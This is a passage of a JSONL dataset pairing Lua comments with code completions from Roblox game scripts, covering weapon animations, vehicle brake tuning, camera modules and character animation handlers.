-0.684338093)}):Play()\n\t\t\twait(0.1)\n\t\t\tMagC:Destroy()\n\t\t\tobjs[4].Transparency = 0\n\t\tend;\n\n\t-- Bolt Anim\n\t\tBoltBackAnim = function(char, speed, objs)\n\t\t\tobjs[5]:WaitForChild(\"BoltBack\"):Play()\n\t\t\tTweenJoint(objs[2], nil , CFrame.new(0.691167593, 0.576529324, -2.08171797, 0.787546694, -0.220071048, 0.575620472, -0.6159904, -0.308486581, 0.724839151, 0.0180550814, -0.925421417, -0.378509283), function(X) return math.sin(math.rad(X)) end, 0.25)\n\t\t\tTweenJoint(objs[1], nil , CFrame.new(0, 0, 0.607143688, 1, 0, 0, 0, 1, 0, 0, 0, 1), function(X) return math.sin(math.rad(X)) end, 0.25)\n\t\t\tTweenJoint(objs[3], nil , CFrame.new(-0.902175903, 0.151443958, -1.32277012, 1, 0, 0, 0, 0, 1, 0, -1, 0), function(X) return math.sin(math.rad(X)) end, 0.25)\n\t\t\twait(0.3)\n\t\tend;\n\t\t\n\t\tBoltForwardAnim = function(char, speed, objs)\n\t\t\tobjs[5]:WaitForChild(\"BoltForward\"):Play()\n\t\t\tTweenJoint(objs[1], nil , CFrame.new(), function(X) return math.sin(math.rad(X)) end, 0.1)\n\t\t\tTweenJoint(objs[2], nil , CFrame.new(1.06851184, 0.973718464, -2.29667926, 0.787546694, -0.220071048, 0.575620472, -0.6159904, -0.308486581, 0.724839151, 0.0180550814, -0.925421417, -0.378509283), function(X) return math.sin(math.rad(X)) end, 0.1)\n\t\t\tTweenJoint(objs[3], nil , CFrame.new(-0.902175903, 0.295501232, -1.32277012, 1, 0, -0, 0, 0, 1, 0, -1, 0), function(X) return math.sin(math.rad(X)) end, 0.2)\n\t\t\twait(0.2)\n\t\tend;\n\t\t\n\t\t-- Bolting Back\n\t\tBoltingBackAnim = function(char, speed, objs)\n\t\t\tTweenJoint(objs[1], nil , CFrame.new(0, 0, 0.307143688, 1, 0, 0, 0, 1, 0, 0, 0, 1), function(X) return math.sin(math.rad(X)) end, 0.1)\n\t\tend;\n\t\t\n\t\tBoltingForwardAnim = function(char, speed, objs)\n\t\t\tTweenJoint(objs[1], nil , CFrame.new(), function(X) return math.sin(math.rad(X)) end, 0.1)\n\t\tend;\n\t\t\n\t\tInspectAnim = function(char, speed, objs)\n\t\t\tts:Create(objs[1],TweenInfo.new(1),{C1 = CFrame.new(0.805950999, 0.654529691, -1.92835355, 0.999723792, 0.0109803826, 0.0207702816, -0.0223077796, 0.721017241, 0.692557871, -0.00737112388, -0.692829967, 0.721063137)}):Play()\n\t\t\tts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(-1.49363565, -0.699174881, -1.32277012, 0.66716975, -8.8829113e-09, -0.74490571, 0.651565909, -0.484672248, 0.5835706, -0.361035138, -0.874695837, -0.323358655)}):Play()\n\t\t\twait(1)\n\t\t\tts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(1.37424219, -0.699174881, -1.03685927, -0.204235911, 0.62879771, 0.750267386, 0.65156585, -0.484672219, 0.58357054, 0.730581641, 0.60803473, -0.310715646)}):Play()\n\t\t\twait(1)\n\t\t\tts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.32277012, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play()\n\t\t\tts:Create(objs[1],TweenInfo.new(1),{C1 = CFrame.new(0.447846293, 0.654529572, -1.81345785, 0.761665463, -0.514432132, 0.393986136, -0.560285628, -0.217437655, 0.799250066, -0.325492471, -0.82950604, -0.453843832)}):Play()\n\t\t\twait(1)\n\t\t\tlocal MagC = Tool:WaitForChild(\"Mag\"):clone()\n\t\t\tMagC:FindFirstChild(\"Mag\"):Destroy()\n\t\t\tMagC.Parent = Tool\n\t\t\tMagC.Name = \"MagC\"\n\t\t\tlocal MagCW = Instance.new(\"Motor6D\")\n\t\t\tMagCW.Part0 = MagC\n\t\t\tMagCW.Part1 = workspace.CurrentCamera:WaitForChild(\"Arms\"):WaitForChild(\"Left Arm\")\n\t\t\tMagCW.Parent = MagC\n\t\t\tMagCW.C1 = MagC.CFrame:toObjectSpace(Tool:WaitForChild('Mag').CFrame)\n\t\t\tTool.Mag.Transparency = 1\n\t\t\tTool:WaitForChild('Grip'):WaitForChild(\"MagOut\"):Play()\n\t\t\t\n\t\t\tts:Create(objs[2],TweenInfo.new(0.15),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.55972552, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play()\n\t\t\tts:Create(objs[1],TweenInfo.new(0.3),{C1 = CFrame.new(0.447846293, 0.654529572, -2.9755671, 0.761665463, -0.514432132, 0.393986136, -0.568886042, -0.239798605, 0.786679745, -0.31021595, -0.823320091, -0.475299776)}):Play()\n\t\t\twait(0.13)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.20),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.28149843, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play()\n\t\t\twait(0.20)\t\t\t\n\t\t\tts:Create(objs[1],TweenInfo.new(0.5),{C1 = CFrame.new(0.447846293, -0.650498748, -1.82401526, 0.761665463, -0.514432132, 0.393986136, -0.646156013, -0.55753684, 0.521185875, -0.0484529883, -0.651545882, -0.75706023)}):Play()\n\t\t\twait(0.8)\n\t\t\tts:Create(objs[1],TweenInfo.new(0.6),{C1 = CFrame.new(0.447846293, 0.654529572, -2.9755671, 0.761665463, -0.514432132, 0.393986136, -0.568886042, -0.239798605, 0.786679745, -0.31021595, -0.823320091, -0.475299776)}):Play()\n\t\t\twait(0.5)\n\t\t\tTool:WaitForChild('Grip'):WaitForChild(\"MagIn\"):Play()\n\t\t\tts:Create(objs[1],TweenInfo.new(0.3),{C1 = CFrame.new(0.447846293, 0.654529572, -1.81345785, 0.761665463, -0.514432132, 0.393986136, -0.560285628, -0.217437655, 0.799250066, -0.325492471, -0.82950604, -0.453843832)}):Play()\t\t\t\n\t\t\twait(0.3)\n\t\t\tMagC:Destroy()\n\t\t\tTool.Mag.Transparency = 0\n\t\t\twait(0.1)\n\t\tend;\n\t\t\n\t\tnadeReload = function(char, speed, objs)\n\t\t\tts:Create(objs[1], TweenInfo.new(0.6), {C1 = CFrame.new(-0.902175903, -1.15645337, -1.32277012, 0.984807789, -0.163175702, -0.0593911409, 0, -0.342020363, 0.939692557, -0.17364797, -0.925416529, -0.336824328)}):Play()\n\t\t\tts:Create(objs[2], TweenInfo.new(0.6), {C1 = CFrame.new(0.805950999, 0.654529691, -1.92835355, 0.787567914, -0.220087856, 0.575584888, -0.323594928, 0.647189975, 0.690240026, -0.524426222, -0.72986728, 0.438486755)}):Play()\n\t\t\twait(0.6)\n\t\t\tts:Create(objs[2], TweenInfo.new(0.6), {C1 = CFrame.new(0.805950999, 0.559619546, -1.73060048, 0.802135408, -0.348581612, 0.484839559, -0.597102284, -0.477574915, 0.644508123, 0.00688350201, -0.806481719, -0.59121877)}):Play()\n\t\t\twait(0.6)\t\t\n\t\tend;\n\t\t\n\t\tAttachAnim = function(char, speed, objs)\n\t\t\tTweenJoint(objs[1], nil , CFrame.new(-2.05413628, -0.386312962, -0.955676377, 0.5, 0, -0.866025329, 0.852868497, -0.17364797, 0.492403895, -0.150383547, -0.984807789, -0.086823985), function(X) return math.sin(math.rad(X)) end, 0.25)\n\t\t\tTweenJoint(objs[2], nil , CFrame.new(0.931334019, 1.66565645, -1.2231313, 0.787567914, -0.220087856, 0.575584888, -0.0180282295, 0.925416708, 0.378521889, -0.615963817, -0.308488399, 0.724860728), function(X) return math.sin(math.rad(X)) end, 0.25)\n\t\t\twait(0.18)\t\n\t\tend;\n\t\t\n\t\t-- Patrol Anim\n\t\tPatrolAnim = function(char, speed, objs)\n\t\t\tTweenJoint(objs[1], nil , sConfig.PatrolPosR, function(X) return math.sin(math.rad(X)) end, 0.25)\n\t\t\tTweenJoint(objs[2], nil , sConfig.PatrolPosL, function(X) return math.sin(math.rad(X)) end, 0.25)\n\t\t\twait(0.18)\n\t\tend;\n\t\n\t}\n\nreturn Settings\n"} +{"prompt": "--BOV--", "completion": "\nscript.Parent.Parent.Values.RPM.Changed:connect(function()\n\tlocal t = 0\n\tt = (totalPSI*20)\n\tBOVact = math.floor(t)\nend)\nscript.Parent.Parent.Values.RPM.Changed:connect(function()\n\twait(0.1)\n\tlocal t2 = 0\n\tt2 = (totalPSI*20)\n\tBOVact2 = math.floor(t2)\nend)\nscript.Parent.Parent.Values.RPM.Changed:connect(function()\n\tif BOVact > BOVact2 then\n\t\tif BOV.IsPlaying == false then\n\t\t\tBOV:Play()\n\t\t\t\n\t\tend\n\tend\n\tif BOVact < BOVact2 then\n\t\tif BOV.IsPlaying == true then\n\t\t\tBOV:Stop()\n\t\t\t\n\t\tend\n\tend\nend)\n\n"} +{"prompt": "-- variables", "completion": "\n\nlocal lastDamage\t= 0\nlocal lastArmor\t\t= ARMOR.Value\n"} +{"prompt": "--[[Brakes]]", "completion": "\n\tTune.ABSEnabled\t\t= true\t\t-- Implements ABS\n\tTune.ABSThreshold\t= 20\t\t-- Slip speed allowed before ABS starts working (in SPS) \n\n\tTune.BrakeForce\t\t= 2500\t\t-- Total brake force (LuaInt)\n\tTune.BrakeBias\t\t= .6\t\t-- Brake bias towards the front, percentage (1 = Front, 0 = Rear, .5 = 50/50)\n\tTune.PBrakeForce\t= 5000\t\t-- Handbrake force\n\tTune.PBrakeBias\t\t= 0\t\t\t-- Handbrake bias towards the front, percentage (1 = Front, 0 = Rear, .5 = 50/50)\n\tTune.EBrakeForce\t= 500\t\t-- Engine braking force at redline\n\t"} +{"prompt": "--- SpecialP", "completion": "\n ExpNeed.Value = ExpNeed1:GetAsync(Plr.UserId) or ExpNeed.Value\n\t ExpNeed1:SetAsync(Plr.UserId, ExpNeed.Value)\n ExpNeed.Changed:connect(function()\n\t ExpNeed1:SetAsync(Plr.UserId, ExpNeed.Value)\n end)"} +{"prompt": "--if (script.Parent ~= nil) and (script.Parent.className == \"Part\") then --Work if in a block\n--\tconnection = script.Parent.Touched:connect(onTouched)\n--end", "completion": "\nscript.Parent.Touched:connect(onTouched)\n"} +{"prompt": "--[[ The Module ]]", "completion": "--\nlocal BaseCamera = {}\nBaseCamera.__index = BaseCamera\n\nfunction BaseCamera.new()\n\tlocal self = setmetatable({}, BaseCamera)\n\n\t-- So that derived classes have access to this\n\tself.FIRST_PERSON_DISTANCE_THRESHOLD = FIRST_PERSON_DISTANCE_THRESHOLD\n\n\tself.cameraType = nil\n\tself.cameraMovementMode = nil\n\n\tself.lastCameraTransform = nil\n\tself.lastUserPanCamera = tick()\n\n\tself.humanoidRootPart = nil\n\tself.humanoidCache = {}\n\n\t-- Subject and position on last update call\n\tself.lastSubject = nil\n\tself.lastSubjectPosition = Vector3.new(0, 5, 0)\n\tself.lastSubjectCFrame = CFrame.new(self.lastSubjectPosition)\n\n\t-- These subject distance members refer to the nominal camera-to-subject follow distance that the camera\n\t-- is trying to maintain, not the actual measured value.\n\t-- The default is updated when screen orientation or the min/max distances change,\n\t-- to be sure the default is always in range and appropriate for the orientation.\n\tself.defaultSubjectDistance = math.clamp(DEFAULT_DISTANCE, player.CameraMinZoomDistance, player.CameraMaxZoomDistance)\n\tself.currentSubjectDistance = math.clamp(DEFAULT_DISTANCE, player.CameraMinZoomDistance, player.CameraMaxZoomDistance)\n\n\tself.inFirstPerson = false\n\tself.inMouseLockedMode = false\n\tself.portraitMode = false\n\tself.isSmallTouchScreen = false\n\n\t-- Used by modules which want to reset the camera angle on respawn.\n\tself.resetCameraAngle = true\n\n\tself.enabled = false\n\n\t-- Input Event Connections\n\n\tself.PlayerGui = nil\n\n\tself.cameraChangedConn = nil\n\tself.viewportSizeChangedConn = nil\n\n\t-- VR Support\n\tself.shouldUseVRRotation = false\n\tself.VRRotationIntensityAvailable = false\n\tself.lastVRRotationIntensityCheckTime = 0\n\tself.lastVRRotationTime = 0\n\tself.vrRotateKeyCooldown = {}\n\tself.cameraTranslationConstraints = Vector3.new(1, 1, 1)\n\tself.humanoidJumpOrigin = nil\n\tself.trackingHumanoid = nil\n\tself.cameraFrozen = false\n\tself.subjectStateChangedConn = nil\n\n\tself.gamepadZoomPressConnection = nil\n\n\t-- Mouse locked formerly known as shift lock mode\n\tself.mouseLockOffset = ZERO_VECTOR3\n\n\t-- Initialization things used to always execute at game load time, but now these camera modules are instantiated\n\t-- when needed, so the code here may run well after the start of the game\n\n\tif player.Character then\n\t\tself:OnCharacterAdded(player.Character)\n\tend\n\n\tplayer.CharacterAdded:Connect(function(char)\n\t\tself:OnCharacterAdded(char)\n\tend)\n\n\tif self.cameraChangedConn then self.cameraChangedConn:Disconnect() end\n\tself.cameraChangedConn = workspace:GetPropertyChangedSignal(\"CurrentCamera\"):Connect(function()\n\t\tself:OnCurrentCameraChanged()\n\tend)\n\tself:OnCurrentCameraChanged()\n\n\tif self.playerCameraModeChangeConn then self.playerCameraModeChangeConn:Disconnect() end\n\tself.playerCameraModeChangeConn = player:GetPropertyChangedSignal(\"CameraMode\"):Connect(function()\n\t\tself:OnPlayerCameraPropertyChange()\n\tend)\n\n\tif self.minDistanceChangeConn then self.minDistanceChangeConn:Disconnect() end\n\tself.minDistanceChangeConn = player:GetPropertyChangedSignal(\"CameraMinZoomDistance\"):Connect(function()\n\t\tself:OnPlayerCameraPropertyChange()\n\tend)\n\n\tif self.maxDistanceChangeConn then self.maxDistanceChangeConn:Disconnect() end\n\tself.maxDistanceChangeConn = player:GetPropertyChangedSignal(\"CameraMaxZoomDistance\"):Connect(function()\n\t\tself:OnPlayerCameraPropertyChange()\n\tend)\n\n\tif self.playerDevTouchMoveModeChangeConn then self.playerDevTouchMoveModeChangeConn:Disconnect() end\n\tself.playerDevTouchMoveModeChangeConn = player:GetPropertyChangedSignal(\"DevTouchMovementMode\"):Connect(function()\n\t\tself:OnDevTouchMovementModeChanged()\n\tend)\n\tself:OnDevTouchMovementModeChanged() -- Init\n\n\tif self.gameSettingsTouchMoveMoveChangeConn then self.gameSettingsTouchMoveMoveChangeConn:Disconnect() end\n\tself.gameSettingsTouchMoveMoveChangeConn = UserGameSettings:GetPropertyChangedSignal(\"TouchMovementMode\"):Connect(function()\n\t\tself:OnGameSettingsTouchMovementModeChanged()\n\tend)\n\tself:OnGameSettingsTouchMovementModeChanged() -- Init\n\n\tUserGameSettings:SetCameraYInvertVisible()\n\tUserGameSettings:SetGamepadCameraSensitivityVisible()\n\n\tself.hasGameLoaded = game:IsLoaded()\n\tif not self.hasGameLoaded then\n\t\tself.gameLoadedConn = game.Loaded:Connect(function()\n\t\t\tself.hasGameLoaded = true\n\t\t\tself.gameLoadedConn:Disconnect()\n\t\t\tself.gameLoadedConn = nil\n\t\tend)\n\tend\n\n\tself:OnPlayerCameraPropertyChange()\n\n\treturn self\nend\n\nfunction BaseCamera:GetModuleName()\n\treturn \"BaseCamera\"\nend\n\nfunction BaseCamera:OnCharacterAdded(char)\n\tself.resetCameraAngle = self.resetCameraAngle or self:GetEnabled()\n\tself.humanoidRootPart = nil\n\tif UserInputService.TouchEnabled then\n\t\tself.PlayerGui = player:WaitForChild(\"PlayerGui\")\n\t\tfor _, child in ipairs(char:GetChildren()) do\n\t\t\tif child:IsA(\"Tool\") then\n\t\t\t\tself.isAToolEquipped = true\n\t\t\tend\n\t\tend\n\t\tchar.ChildAdded:Connect(function(child)\n\t\t\tif child:IsA(\"Tool\") then\n\t\t\t\tself.isAToolEquipped = true\n\t\t\tend\n\t\tend)\n\t\tchar.ChildRemoved:Connect(function(child)\n\t\t\tif child:IsA(\"Tool\") then\n\t\t\t\tself.isAToolEquipped = false\n\t\t\tend\n\t\tend)\n\tend\nend\n\nfunction BaseCamera:GetHumanoidRootPart(): BasePart\n\tif not self.humanoidRootPart then\n\t\tif player.Character then\n\t\t\tlocal humanoid = player.Character:FindFirstChildOfClass(\"Humanoid\")\n\t\t\tif humanoid then\n\t\t\t\tself.humanoidRootPart = humanoid.RootPart\n\t\t\tend\n\t\tend\n\tend\n\treturn self.humanoidRootPart\nend\n\nfunction BaseCamera:GetBodyPartToFollow(humanoid: Humanoid, isDead: boolean) -- BasePart\n\t-- If the humanoid is dead, prefer the head part if one still exists as a sibling of the humanoid\n\tif humanoid:GetState() == Enum.HumanoidStateType.Dead then\n\t\tlocal character = humanoid.Parent\n\t\tif character and character:IsA(\"Model\") then\n\t\t\treturn character:FindFirstChild(\"Head\") or humanoid.RootPart\n\t\tend\n\tend\n\n\treturn humanoid.RootPart\nend\n\nfunction BaseCamera:GetSubjectCFrame(): CFrame\n\tlocal result = self.lastSubjectCFrame\n\tlocal camera = workspace.CurrentCamera\n\tlocal cameraSubject = camera and camera.CameraSubject\n\n\tif not cameraSubject then\n\t\treturn result\n\tend\n\n\tif cameraSubject:IsA(\"Humanoid\") then\n\t\tlocal humanoid = cameraSubject\n\t\tlocal humanoidIsDead = humanoid:GetState() == Enum.HumanoidStateType.Dead\n\n\t\tif VRService.VREnabled and humanoidIsDead and humanoid == self.lastSubject then\n\t\t\tresult = self.lastSubjectCFrame\n\t\telse\n\t\t\tlocal bodyPartToFollow = humanoid.RootPart\n\n\t\t\t-- If the humanoid is dead, prefer their head part as a follow target, if it exists\n\t\t\tif humanoidIsDead then\n\t\t\t\tif humanoid.Parent and humanoid.Parent:IsA(\"Model\") then\n\t\t\t\t\tbodyPartToFollow = humanoid.Parent:FindFirstChild(\"Head\") or bodyPartToFollow\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tif bodyPartToFollow and bodyPartToFollow:IsA(\"BasePart\") then\n\t\t\t\tlocal heightOffset\n\t\t\t\tif humanoid.RigType == Enum.HumanoidRigType.R15 then\n\t\t\t\t\tif humanoid.AutomaticScalingEnabled then\n\t\t\t\t\t\theightOffset = R15_HEAD_OFFSET\n\n\t\t\t\t\t\tlocal rootPart = humanoid.RootPart\n\t\t\t\t\t\tif bodyPartToFollow == rootPart then\n\t\t\t\t\t\t\tlocal rootPartSizeOffset = (rootPart.Size.Y - HUMANOID_ROOT_PART_SIZE.Y)/2\n\t\t\t\t\t\t\theightOffset = heightOffset + Vector3.new(0, rootPartSizeOffset, 0)\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\theightOffset = R15_HEAD_OFFSET_NO_SCALING\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\theightOffset = HEAD_OFFSET\n\t\t\t\tend\n\n\t\t\t\tif humanoidIsDead then\n\t\t\t\t\theightOffset = ZERO_VECTOR3\n\t\t\t\tend\n\n\t\t\t\tresult = bodyPartToFollow.CFrame*CFrame.new(heightOffset + humanoid.CameraOffset)\n\t\t\tend\n\t\tend\n\n\telseif cameraSubject:IsA(\"BasePart\") then\n\t\tresult = cameraSubject.CFrame\n\n\telseif cameraSubject:IsA(\"Model\") then\n\t\t-- Model subjects are expected to have a PrimaryPart to determine orientation\n\t\tif cameraSubject.PrimaryPart then\n\t\t\tresult = cameraSubject:GetPrimaryPartCFrame()\n\t\telse\n\t\t\tresult = CFrame.new()\n\t\tend\n\tend\n\n\tif result then\n\t\tself.lastSubjectCFrame = result\n\tend\n\n\treturn result\nend\n\nfunction BaseCamera:GetSubjectVelocity(): Vector3\n\tlocal camera = workspace.CurrentCamera\n\tlocal cameraSubject = camera and camera.CameraSubject\n\n\tif not cameraSubject then\n\t\treturn ZERO_VECTOR3\n\tend\n\n\tif cameraSubject:IsA(\"BasePart\") then\n\t\treturn cameraSubject.Velocity\n\n\telseif cameraSubject:IsA(\"Humanoid\") then\n\t\tlocal rootPart = cameraSubject.RootPart\n\n\t\tif rootPart then\n\t\t\treturn rootPart.Velocity\n\t\tend\n\n\telseif cameraSubject:IsA(\"Model\") then\n\t\tlocal primaryPart = cameraSubject.PrimaryPart\n\n\t\tif primaryPart then\n\t\t\treturn primaryPart.Velocity\n\t\tend\n\tend\n\n\treturn ZERO_VECTOR3\nend\n\nfunction BaseCamera:GetSubjectRotVelocity(): Vector3\n\tlocal camera = workspace.CurrentCamera\n\tlocal cameraSubject = camera and camera.CameraSubject\n\n\tif not cameraSubject then\n\t\treturn ZERO_VECTOR3\n\tend\n\n\tif cameraSubject:IsA(\"BasePart\") then\n\t\treturn cameraSubject.RotVelocity\n\n\telseif cameraSubject:IsA(\"Humanoid\") then\n\t\tlocal rootPart = cameraSubject.RootPart\n\n\t\tif rootPart then\n\t\t\treturn rootPart.RotVelocity\n\t\tend\n\n\telseif cameraSubject:IsA(\"Model\") then\n\t\tlocal primaryPart = cameraSubject.PrimaryPart\n\n\t\tif primaryPart then\n\t\t\treturn primaryPart.RotVelocity\n\t\tend\n\tend\n\n\treturn ZERO_VECTOR3\nend\n\nfunction BaseCamera:StepZoom()\n\tlocal zoom: number = self.currentSubjectDistance\n\tlocal zoomDelta: number = CameraInput.getZoomDelta()\n\n\tif math.abs(zoomDelta) > 0 then\n\t\tlocal newZoom\n\n\t\tif zoomDelta > 0 then\n\t\t\tnewZoom = zoom + zoomDelta*(1 + zoom*ZOOM_SENSITIVITY_CURVATURE)\n\t\t\tnewZoom = math.max(newZoom, self.FIRST_PERSON_DISTANCE_THRESHOLD)\n\t\telse\n\t\t\tnewZoom = (zoom + zoomDelta)/(1 - zoomDelta*ZOOM_SENSITIVITY_CURVATURE)\n\t\t\tnewZoom = math.max(newZoom, FIRST_PERSON_DISTANCE_MIN)\n\t\tend\n\n\t\tif newZoom < self.FIRST_PERSON_DISTANCE_THRESHOLD then\n\t\t\tnewZoom = FIRST_PERSON_DISTANCE_MIN\n\t\tend\n\n\t\tself:SetCameraToSubjectDistance(newZoom)\n\tend\n\t\n\treturn ZoomController.GetZoomRadius()\nend\n\nfunction BaseCamera:GetSubjectPosition(): Vector3\n\tlocal result = self.lastSubjectPosition\n\tlocal camera = game.Workspace.CurrentCamera\n\tlocal cameraSubject = camera and camera.CameraSubject\n\n\tif cameraSubject then\n\t\tif cameraSubject:IsA(\"Humanoid\") then\n\t\t\tlocal humanoid = cameraSubject\n\t\t\tlocal humanoidIsDead = humanoid:GetState() == Enum.HumanoidStateType.Dead\n\n\t\t\tif VRService.VREnabled and humanoidIsDead and humanoid == self.lastSubject then\n\t\t\t\tresult = self.lastSubjectPosition\n\t\t\telse\n\t\t\t\tlocal bodyPartToFollow = humanoid.RootPart\n\n\t\t\t\t-- If the humanoid is dead, prefer their head part as a follow target, if it exists\n\t\t\t\tif humanoidIsDead then\n\t\t\t\t\tif humanoid.Parent and humanoid.Parent:IsA(\"Model\") then\n\t\t\t\t\t\tbodyPartToFollow = humanoid.Parent:FindFirstChild(\"Head\") or bodyPartToFollow\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\tif bodyPartToFollow and bodyPartToFollow:IsA(\"BasePart\") then\n\t\t\t\t\tlocal heightOffset\n\t\t\t\t\tif humanoid.RigType == Enum.HumanoidRigType.R15 then\n\t\t\t\t\t\tif humanoid.AutomaticScalingEnabled then\n\t\t\t\t\t\t\theightOffset = R15_HEAD_OFFSET\n\t\t\t\t\t\t\tif bodyPartToFollow == humanoid.RootPart then\n\t\t\t\t\t\t\t\tlocal rootPartSizeOffset = (humanoid.RootPart.Size.Y/2) - (HUMANOID_ROOT_PART_SIZE.Y/2)\n\t\t\t\t\t\t\t\theightOffset = heightOffset + Vector3.new(0, rootPartSizeOffset, 0)\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\theightOffset = R15_HEAD_OFFSET_NO_SCALING\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\theightOffset = HEAD_OFFSET\n\t\t\t\t\tend\n\n\t\t\t\t\tif humanoidIsDead then\n\t\t\t\t\t\theightOffset = ZERO_VECTOR3\n\t\t\t\t\tend\n\n\t\t\t\t\tresult = bodyPartToFollow.CFrame.p + bodyPartToFollow.CFrame:vectorToWorldSpace(heightOffset + humanoid.CameraOffset)\n\t\t\t\tend\n\t\t\tend\n\n\t\telseif cameraSubject:IsA(\"VehicleSeat\") then\n\t\t\tlocal offset = SEAT_OFFSET\n\t\t\tif VRService.VREnabled then\n\t\t\t\toffset = VR_SEAT_OFFSET\n\t\t\tend\n\t\t\tresult = cameraSubject.CFrame.p + cameraSubject.CFrame:vectorToWorldSpace(offset)\n\t\telseif cameraSubject:IsA(\"SkateboardPlatform\") then\n\t\t\tresult = cameraSubject.CFrame.p + SEAT_OFFSET\n\t\telseif cameraSubject:IsA(\"BasePart\") then\n\t\t\tresult = cameraSubject.CFrame.p\n\t\telseif cameraSubject:IsA(\"Model\") then\n\t\t\tif cameraSubject.PrimaryPart then\n\t\t\t\tresult = cameraSubject:GetPrimaryPartCFrame().p\n\t\t\telse\n\t\t\t\tresult = cameraSubject:GetModelCFrame().p\n\t\t\tend\n\t\tend\n\telse\n\t\t-- cameraSubject is nil\n\t\t-- Note: Previous RootCamera did not have this else case and let self.lastSubject and self.lastSubjectPosition\n\t\t-- both get set to nil in the case of cameraSubject being nil. This function now exits here to preserve the\n\t\t-- last set valid values for these, as nil values are not handled cases\n\t\treturn\n\tend\n\n\tself.lastSubject = cameraSubject\n\tself.lastSubjectPosition = result\n\n\treturn result\nend\n\nfunction BaseCamera:UpdateDefaultSubjectDistance()\n\tif self.portraitMode then\n\t\tself.defaultSubjectDistance = math.clamp(PORTRAIT_DEFAULT_DISTANCE, player.CameraMinZoomDistance, player.CameraMaxZoomDistance)\n\telse\n\t\tself.defaultSubjectDistance = math.clamp(DEFAULT_DISTANCE, player.CameraMinZoomDistance, player.CameraMaxZoomDistance)\n\tend\nend\n\nfunction BaseCamera:OnViewportSizeChanged()\n\tlocal camera = game.Workspace.CurrentCamera\n\tlocal size = camera.ViewportSize\n\tself.portraitMode = size.X < size.Y\n\tself.isSmallTouchScreen = UserInputService.TouchEnabled and (size.Y < 500 or size.X < 700)\n\n\tself:UpdateDefaultSubjectDistance()\nend\n"} +{"prompt": "--[[ The Module ]]", "completion": "--\nlocal BaseCamera = require(script.Parent:WaitForChild(\"BaseCamera\"))\nlocal ClassicCamera = setmetatable({}, BaseCamera)\nClassicCamera.__index = ClassicCamera\n\nfunction ClassicCamera.new()\n\tlocal self = setmetatable(BaseCamera.new(), ClassicCamera)\n\n\tself.isFollowCamera = false\n\tself.isCameraToggle = false\n\tself.lastUpdate = tick()\n\tself.cameraToggleSpring = Util.Spring.new(5, 0)\n\n\treturn self\nend\n\nfunction ClassicCamera:GetCameraToggleOffset(dt)\n\tif self.isCameraToggle then\n\t\tlocal zoom = self.currentSubjectDistance\n\n\t\tif CameraInput.getTogglePan() then\n\t\t\tself.cameraToggleSpring.goal = math.clamp(Util.map(zoom, 0.5, self.FIRST_PERSON_DISTANCE_THRESHOLD, 0, 1), 0, 1)\n\t\telse\n\t\t\tself.cameraToggleSpring.goal = 0\n\t\tend\n\n\t\tlocal distanceOffset = math.clamp(Util.map(zoom, 0.5, 64, 0, 1), 0, 1) + 1\n\t\treturn Vector3.new(0, self.cameraToggleSpring:step(dt)*distanceOffset, 0)\n\tend\n\n\treturn Vector3.new()\nend\n"} +{"prompt": "--[=[\n\t@within Shake\n\t@prop TimeFunction () -> number\n\tThe function used to get the current time. This defaults to\n\t`time` during runtime, and `os.clock` otherwise. Usually this\n\twill not need to be set, but it can be optionally configured\n\tif desired.\n]=]", "completion": "\n\n"} +{"prompt": "--[=[\n\t@prop None Option\n\t@within Option\n\tRepresents no value.\n]=]", "completion": "\nOption.None = Option._new()\n\n\nreturn Option\n"} +{"prompt": "--Ammo.Changed:connect(Update_Gui)\n--StoredAmmo.Changed:connect(Update_Gui)\n--GLAmmo.Changed:connect(Update_Gui)", "completion": "\n\nlocal RAD, SIN, ATAN, COS = math.rad, math.sin, math.atan2, math.cos\n"} +{"prompt": "-- Load Roblox Camera Controller Modules", "completion": "\nlocal ClassicCamera = require(script:WaitForChild(\"ClassicCamera\"))\nlocal OrbitalCamera = require(script:WaitForChild(\"OrbitalCamera\"))\nlocal LegacyCamera = require(script:WaitForChild(\"LegacyCamera\"))\nlocal VehicleCamera = require(script:WaitForChild(\"VehicleCamera\"))\n"} +{"prompt": "--Basic example of visibility culling, 350 unit radius", "completion": "\nfunction module:CanPlayerSee(sourcePlayer, otherPlayer)\n \n if (sourcePlayer.chickynoid == nil) then\n return true\n end\n if (otherPlayer.chickynoid == nil) then\n return true\n end\n\n local posA = sourcePlayer.chickynoid.simulation.state.pos\n local posB = otherPlayer.chickynoid.simulation.state.pos\n\n if ((posA-posB).Magnitude > 350) then\n return false\n end\n return true\nend\n\nreturn module\n"} +{"prompt": "-- In DEV, calls to console.warn and console.error get replaced\n-- by calls to these methods by a Babel plugin.\n--\n-- In PROD (or in packages without access to React internals),\n-- they are left as they are instead.", "completion": "\n"} +{"prompt": "-------------------------------------------------------------------------------------------\n-------------------------------------------------------------------------------------------", "completion": "\n\n\nfunction onRunning(speed)\n\tif speed>0.01 then\n\t\tplayAnimation(\"walk\", 0.1, Humanoid)\n\t\tpose = \"Running\"\n\telse\n\t\tplayAnimation(\"idle\", 0.1, Humanoid)\n\t\tpose = \"Standing\"\n\tend\nend\n\nfunction onDied()\n\tpose = \"Dead\"\nend\n\nfunction onJumping()\n\tplayAnimation(\"jump\", 0.1, Humanoid)\n\tjumpAnimTime = jumpAnimDuration\n\tpose = \"Jumping\"\nend\n\nfunction onClimbing(speed)\n\tplayAnimation(\"climb\", 0.1, Humanoid)\n\tsetAnimationSpeed(speed / 